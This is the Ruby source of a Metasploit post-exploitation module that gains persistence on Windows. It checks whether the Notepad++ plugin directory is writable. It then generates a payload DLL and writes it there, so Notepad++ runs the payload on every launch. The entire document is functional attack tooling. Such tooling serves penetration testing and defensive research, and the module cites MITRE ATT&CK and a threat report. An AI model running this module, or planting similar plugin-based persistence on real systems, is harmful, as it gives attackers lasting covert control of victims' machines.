## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Post::File include Msf::Exploit::EXE include Msf::Exploit::Local::Persistence prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Notepad++ Plugin Persistence', 'Description' => %q{ This module create persistence by adding a malicious plugin to Notepad++, as it blindly loads and executes DLL from its plugin directory on startup, meaning that the payload will be executed every time Notepad++ is launched. }, 'License' => MSF_LICENSE, 'Author' => [ 'msutovsky-r7' ], 'Arch' => [ARCH_X64, ARCH_X86, ARCH_AARCH64], 'Platform' => [ 'win' ], 'SessionTypes' => [ 'meterpreter', 'shell' ], 'Targets' => [ [ 'Automatic', {} ] ], 'DisclosureDate' => '2005-12-11', # plugins were added to Notepad++ 'DefaultTarget' => 0, 'References' => [ ['ATT&CK', Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION], ['URL', 'https://www.cybereason.com/blog/threat-analysis-report-abusing-notepad-plugins-for-evasion-and-persistence'] ], 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT], 'SideEffects' => [ARTIFACTS_ON_DISK] } ) ) register_options( [ OptString.new('PAYLOAD_NAME', [false, 'Name of payload file to write. Random string as default.']), ] ) end def get_plugin_dir expand_path('%PROGRAMFILES%\\Notepad++\\plugins\\') end def check @plugin_dir = get_plugin_dir return CheckCode::Safe('Notepad++ is probably not present') unless directory?(@plugin_dir) # borrowed from startup folder persistence begin # windows only ps payloads have writable? so try that first return CheckCode::Safe("Unable to write to #{@plugin_dir}") unless writable?(@plugin_dir) rescue RuntimeError filename = @plugin_dir + '\\' + Rex::Text.rand_text_alpha((rand(6..13))) write_file(filename, '') if exists? filename rm_f(filename) else return CheckCode::Safe("Unable to write to #{@plugin_dir}") end end CheckCode::Vulnerable('Notepad++ present and plugin folder is writable') end def install_persistence @plugin_dir ||= get_plugin_dir payload_name = CGI.escape(datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(6..13)))) payload_pathname = @plugin_dir + payload_name + '\\' payload_exe = generate_payload_dll({ dll_exitprocess: true }) fail_with(Failure::BadConfig, "#{payload_instance.arch.first} payload selected for #{sysinfo['Architecture']} system") unless sysinfo['Architecture'] == payload_instance.arch.first vprint_good("Writing payload to #{payload_pathname}") if session.type == 'meterpreter' fail_with(Failure::UnexpectedReply, 'Error while creating malicious plugin directory') unless session.fs.dir.mkdir(payload_pathname) else fail_with(Failure::UnexpectedReply, 'Error while creating malicious plugin directory') unless cmd_exec("mkdir \"#{payload_pathname}\"") end fail_with(Failure::UnexpectedReply, "Error writing payload to: #{payload_pathname}") unless write_file(payload_pathname + payload_name + '.dll', payload_exe) vprint_status("Payload (#{payload_exe.length} bytes) uploaded on #{sysinfo['Computer']} to #{payload_pathname}") @clean_up_rc << "rm \"#{payload_pathname.gsub('\\', '/')}\"\n" end end